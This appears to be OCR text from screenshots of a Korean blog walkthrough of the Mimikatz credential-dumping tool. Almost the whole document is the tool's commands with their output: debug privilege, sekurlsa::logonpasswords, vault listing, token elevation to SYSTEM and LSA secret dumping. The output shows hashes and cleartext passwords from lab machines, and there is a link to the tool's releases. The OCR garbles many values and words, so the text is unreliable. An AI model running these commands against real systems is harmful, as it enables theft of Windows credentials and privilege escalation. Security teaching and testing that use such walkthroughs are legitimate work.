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Mimikatz 2 JH

mimikatz

mimikatz 2.1 x86 (oe.€0)

mimikatz # privilege: :debug

Privilege '20° 0K

mimikatz # sekurlsa::logonpasswords

Authentication Id : @ ; 305230 (00000000 :0004a84e)
Session : Interactive from 1
User Name . user
Domain : win/x86
Logon Server - WIN7KX86
Logon Time : 2016-12-05
: $-1-5-21-1122478845-3238998784-4234499192-1000
msy :

[6B06BBO3] Prlmary
* Username : user
* Domain : win/x86
* LM : 921988babBldc8el4a3b108f3fabehbd
» NTLM : e19%ccf?5eestelbbB6ab98af13cefi?2
» SHA1 : 9131834cf4378828626blbeccaasdea2ct6t9b63
tspkg :
* Username : user
* PDomain : win/x86
* Password : P@sswOrd
wdigest :



http://twodragon.tistory.com/447
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mimikatz& x| & AlESHYH

e LI=2 2 & https://github.com/gentilkiwi/mim
Ikatz/releases
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https://github.com/gentilkiwi/mimikatz/releases

mimikatz# privilege::debug
privilege '20' OK



mimikatz# privilege::debug
privilege '20' OK
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mimikatz# sekurlsa::logonpasswords

* Username : Administrator

* Domain : EXADATA

* NTLM : ea620aaaaaab08aaaaabbdsfaaaaaax
* SHA1L : eel99ebc98caaaaaadfsfaaaaaa
tspkg : * Username : Administrator

* Domain : EXADATA

* Password : P@sswOrd

wdigest : * Username : Administrator

* Domain : EXADATA

* Password : P@sswOrd

kerberos :

* Username : Administrator

* Domain : EXADATA

* Password : P@sswOrd
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AL vault gt 2| AE
mimikatz# vault::list
Name : Administrator's Vault

Path : C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-
9B8A-41A0-B380-DD4A704DDB28

Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
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& &= < token

mimikatz # token::elevate

TokenId : 0O

User name :

SID name : NT AUTHORITY\SYSTEM

448 21440 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p)
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mimikatz # [sadump::secrets

Domain : EXADATA

SysKey : d7e3d1c13341ea4a000c97f8dbc7allb

Policy subsystemis: 1.11

LSA Key(s) : 1, default {86648e9a-dcad-6300-0675-edd6el1f91b3d}
[00] {86648e9a-dcad-sf809s8f0s3d}
3d198bd4e0501dcf8427e1ffsf980809sfa

Secret : DefaultPassword

old/text: P@sswOrd
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